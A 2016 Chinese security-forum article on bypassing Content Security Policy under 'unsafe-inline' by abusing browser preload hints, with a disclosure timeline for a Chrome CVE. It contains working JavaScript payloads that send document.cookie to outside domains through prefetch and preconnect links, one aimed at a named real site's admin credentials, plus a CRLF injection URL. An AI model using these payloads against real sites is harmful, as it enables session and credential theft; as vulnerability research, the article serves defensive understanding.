Bypass unsafe-inline mode CSP

r4bb1t_ / 2016-10-27 11:25:00 / 浏览数 4997

```
[+] Author: evi1m0
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-10-27
```

0x01 CSP 介绍

CSP[0] 是由单词 Content Security Policy 的首单词组成，CSP旨在减少 (注意这里是减少而不是消灭)
跨站脚本攻击。CSP是一种由开发者定义的安全性政策性申明，通过 CSP
所约束的的规责指定可信的内容来源（这里的内容可以指脚本、图片、iframe、font、style等等可能的远程的资源）。通过CSP协定，让WEB处于一个安全的运行环境中，
CSP 已经到了 3.0 阶段。

现代浏览器目前都可以通过获取 Header 头来进行 CSP 配置，E.g php Set Header：

```
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' server.n0tr00t.com;");
```

Content Security Policy 1.0 各浏览大致支持情况表格：

Content Security Policy 1.0 各浏览具体支持情况图[1]：

指令参考：

```
■■          ■■
default-src ■■■■■■■■■■
connect-src ■■ Ajax■WebSocket ■■■■■■
font-src    ■■ Font ■■■■
frame-src   ■■ Frame ■■■■
img-src ■■■■■■■■■
media-src   ■■ <audio>■<video> ■■■■■■■■■■
object-src  ■■ <applet>■<embed>■<object> ■■■■■■■■■■
script-src  ■■ JS ■■■■■
style-src   ■■ CSS ■■■■■
sandbox ■■ allow-forms■■■■■■■ sandbox
report-uri  ■■ /report-uri■■■■■■
```

Source List Reference[2]：

0x02 规则示例

注：

- 多个指令用分号进行分割；
- 多个指令值使用英文空格分割；
- 指令值在非域名时左右须使用引号包含；
- 指令重复的话将以第一个为准；

1.定义所有类型资源为默认加载策略，允许执行加载 自身及 test.n0tr00t.com 的 JS 资源：

```
Content-Security-Policy: "default-src 'self'; script-src 'self' test.n0tr00t.com"
X-Content-Security-Policy: "default-src 'self'; script-src 'self' test.n0tr00t.com"
X-WebKit-CSP: "default-src 'self'; script-src 'self' test.n0tr00t.com"
```

2.禁止 frame ，允许所有图像，Style Self，允许执行加载所有 n0tr00t.com 域下的 JS 资源：

```
Content-Security-Policy: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
X-Content-Security-Policy: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
X-WebKit-CSP: "script-src *.n0tr00t.com; style-src 'self'; img-src *; frame-src 'none'"
```

3.Content-Security-Policy-Report-Only 收集日志报告：

```
Content-Security-Policy-Report-Only: script-src 'self'; report-uri http://linux.im/test/csp/report

LogResult:
{
```

```
   "csp-report": {
       "document-uri": "http://linux.im/csp.php",
       "referrer": "test ref",
       "violated-directive": "script-src 'self'",
       "original-policy": "script-src 'self'; report-uri http://linux.im/test/csp/report",
       "blocked-uri": ""
   }
}
```

4.允许执行内联 JS 代码，但不允许加载外部资源：

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
```

另外我们也可以使用在线生成 CSP 规则的站点来辅助编写：http://cspisawesome.com/

0x03 预加载

在 HTML5 中的一个新特性：页面资源预加载(Link prefetch)[3]，他是浏览器提供的一个技巧，目的是让浏览器在空闲时间下载或预读取一些文档资源，用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列

这种做法曾经被称为 Prebrowsing ，可以细分为几个不同的技术：DNS-prefetch、subresource 和标准的 prefetch、preconnect、prerender ，并不是像很多人想象的那样，只有 Chrome 才支持预加载，目前绝大多数的浏览器都已支持。

HTML5 页面资源预加载/预读取(Link prefetch)功能是通过Link标记实现的，将 rel 属性指定为 prefetch ，在 href 属性里指定要加载资源的地址即可。例如：

Chrome, Firefox ：

```
<link rel="prefetch" href="http://linux.im/test_prefetch.jpg">
```

Chrome 预渲染（不要滥用！对地址所有资源进行提前渲染，如未使用的话则会白白浪费渲染资源。 ）：

```
<link rel="prerender" href="http://linux.im">
```

DNS 预解析 DNS-Prefetch ，浏览器空闲时提前将分析页面需要资源所在的域名转化为 IP 地址，当浏览器真正使用到该域中的某个资源时就可以尽快地完成 DNS 解析。（例如在地址栏中输入 URL 时，Chrome 就已经自动完成了预解析甚至渲染，从而为每个请求节省了大量的时间。 ）：

```
<link rel="dns-prefetch" href="http://linux.im">
```

预连接 Preconnect （支持 Chrome46+, Firefox39+ ），与 DNS 预解析类似，preconnect 不仅完成 DNS 预解析，同时还将进行 TCP 握手和建立传输层协议：

```
<link rel="preconnect" href="http://1.111asd1-testcsp.n0tr00t.com">
```

对特定文件类型进行预加载， Chromium 使用 subresource rel 的话，优先级将低于样式文件和脚本文件，但不低于图片加载优先级，在最新版本中已经 Remove[4] 这个属性，使用新的 “preload” [5] 代替：

```
<link rel='subresource' href='warning.js'>
```

Preload 作为一个新的 WEB 标准，它为处理当前页面而生，和 subresource 一样，但又有着一些区别，例如 onload 事件， as 属性等等：

```
<link rel="preload" href="//linux.im/styles/other.css">
```

在 Firefox 中我们也可以通过设置 Header 头 X-moz: prefetch 来进行 prefetch，可能有些人希望能够禁用掉这个预加载，可以在 FF 浏览器的 about:config 中 `user_pref("network.prefetch-next", false);` 禁用掉对所有站点的预加载支持。

如何设置预加载的顺序？在 W3c Resource Priorities [6] 增加了两个重要资源属性：lazyload 和 postpone 。

- lazyload 懒加载: 一个资源必须等待其他没有标识lazyload的开始下载以后才能下载；
- postpone 延缓: 一个资源直到要显示给用户时才可以下载。适合图片 视频等元素；

不是所有的资源都可以预加载，当资源为以下列表中的资源时，将阻止预渲染操作：

```
- ■■■■
- ■■■■■■■■
- URL ■■■■■■■■
- ■■■■■■■■■■
- POST■PUT ■ DELETE ■■■ ajax ■■
- HTTP ■■(Authentication) / HTTPS ■■
- ■■■■ Chrome developer tools ■■■■
```

0x04 Bypass Chrome CSP

在 Chrome 中，CSP 的规范执行是较低于 Firefox 的（0x05会提到），我们来看下面这条规则：

```
Content-Security-Policy: default-src 'self'; script-src 'self' test.n0tr00t.com 'unsafe-inline';
```

默认同源下的资源加载，允许内部标签执行但只能数据传输给同源和 test.n0tr00t.com 域下，一般情况下我们可以通过入侵 test.n0tr00t.com 域名来将信息传输出去，除此之外，如果是交互性较强的平台，我们也可以不将数据对外传输，例如：http://linux.im/2015/09/20/Dotabuff-Worm.html

由于 inline 的存在，我们可以内嵌代码到页面中对社区进行蠕虫等操作，但由于开始提到 Chrome CSP 中的规范执行是较低于 Firefox 的，所以我们可以使用前面提到的多个属性来进行绕过获取信息。

```
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//n0tr00t.com/?" + document.cookie);
document.head.appendChild(n0t);
```

页面渲染完毕会创建 Link REL=prefetch 的标签，发目标页面发起预加载，我们也可以使用其他属性（2016.02 Fuzz 部分结果）：

- Prefetch
- Prerender
- Preload
- ...

E.g SourceCode :

```
<?php

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

?>

<html>
<head></head>
<body>
   csp header test
   <script>
   document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";

   var n0t = document.createElement("link");
   n0t.setAttribute("rel", "prefetch");
   n0t.setAttribute("href", "//1J38ax.chromecsptest.test.n0tr00t.com/?" + document.cookie);
   document.head.appendChild(n0t);
   </script>
</body>
</html>
```

PageRequestResult :

0x05 Bypass Firefox CSP

如果我们使用前面的 Prefetch 等标签在 Firefox 上是肯定传输不出去数据的，因为 Firefox 浏览器有着较高的 CSP 规范执行，所以我们可以使用其他属性来对 Firefox 上 CSP 进行绕过，虽然这些属性也已经申请加入规范，但目前仍可利用，下面来看目前 src.ly.com 的 CSP 规则：

```
content-security-policy:
default-src *; script-src 'self' bi-collector.oneapm.com *.ly.com hm.baidu.com sec-pic-ly.b0.upaiyun.com  img1.40017.cn captch

1. script-src ‘self’ bi-collector.oneapm.com *.ly.com hm.baidu.com sec-pic-ly.b0.upaiyun.com img1.40017.cn captcha.guard.qclou
2. style-src ‘self’ *.ly.com sec-pic-ly.b0.upaiyun.com *.guard.qcloud.com ‘unsafe-inline’;
3. img-src ‘self’ sec-pic-ly.b0.upaiyun.com hm.baidu.com https://static.wooyun.org http://static.wooyun.org *.guard.qcloud.com
4. media-src ‘self’ *.ly.com *.40017.cn;
5. font-src ‘self’ sec-pic-ly.b0.upaiyun.com data:;
```

我们的目标是 src.ly.com 的管理员登录凭证，通过细看上面的 CSP 规则我们可以发现存在很多问题，例如 *.40017.cn, unsafe-inline, unsafe-eval, static.wooyun.org 等多个不可控的“信任”外部源。现在我们拥有平台存储型跨站，但由于没有像之前 Dota 社区的用户交互性（我们的目的也不是蠕虫），当然你可以通过获取 Document.cookie 并使用站内私信功能发送给你，然后达到目标，只不过听起来不是那么可靠。

script 的规则满足我们的条件，我们可以使用多个方法来绕过限制创建标签偷取数据：

- Preconnect
- DNS-Prefetch
- ...

Payload:

```
dc  = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];

for (var i=0; i<dcl.length;i++)
{
   console.log(dcl[i]);
   n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_")
}
```

收取获得 DNS 查询记录：

DNS Queries (10 last)

Remote	Query Name	UPDate(UTC+0)	Count
	_20popunder_3dye[redacted].io	2016-10-27 12:02:32	1
	_20popundr[redacted]o	2016-10-27 12:02:32	1
	20setover18[redacted]o	2016-10-27 12:02:31	1
	ab_cj_gdetail_3d1157[redacted]o	2016-10-27 12:02:31	1

0x06 END

还有一些伪绕过的 CASE，例如 CRLF （回车 + 换行 \r\n 的简称，在HTTP协议中，HTTP Header 与 HTTP Body 是用两个 CRLF 分隔的，浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显示出来。），因为大部分浏览器是根据最后一次出现的同名头来设置的。

E.g:

```
http://www.n0tr00t.com/%0d%0aSet-cookie:ID%3Dabcdefg
```

整篇文章写到并列出的一些 CASE 是我今年初（16） Fuzz 到的，前两天 Patrick Vananti 把 DNS
预解析的发出后，便想把之前的笔记进行简单整理并公布，其中还有一些未列出的属性和方法，欢迎研究：）

0x07 Discloure Timeline

- 2016/10/26 Report vuln detail to Google Chrome.
- 2016/11/15 This fixes an issue where connect-src was not applied to preloaded resources, due to their Context. https://chromium.googlesource.com/chromium/src/+/872f27a9bceebb042082cd1b2f9043e5dd208200%5E%21/#
- 2017/01/24 CVE-2017-5022, Bypass of Content Security Policy in Blink.
- 2017/01/25 Security Fixes and Rewards: https://chromereleases.googleblog.com/2017/01/stable-channel-update-for-desktop.html

0x08 文献参考

- [0] : https://w3c.github.io/webappsec-csp/
- [1] : http://caniuse.com/#feat=contentsecuritypolicy
- [2] : https://content-security-policy.com/
- [3] : https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ
- [4] : https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/Y_2eFRh9BOs/gULYapoRBwAJ
- [5] : https://w3c.github.io/preload/
- [6] : https://w3c.github.io/web-performance/specs/ResourcePriorities/Overview.html
- [7] : http://bubkoo.com/2015/11/19/prefetching-preloading-prebrowsing/
- [8] : http://www.cnblogs.com/suyuwen1/p/5506397.html
- [9] : http://blog.shaochuancs.com/w3c-html5-link/

上一篇：先知官网增加"技术社区入口啦~~ 下一篇：自动化web安全测试

1. 1 条回复

笑然 2016-10-27 12:35:05

点赞

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板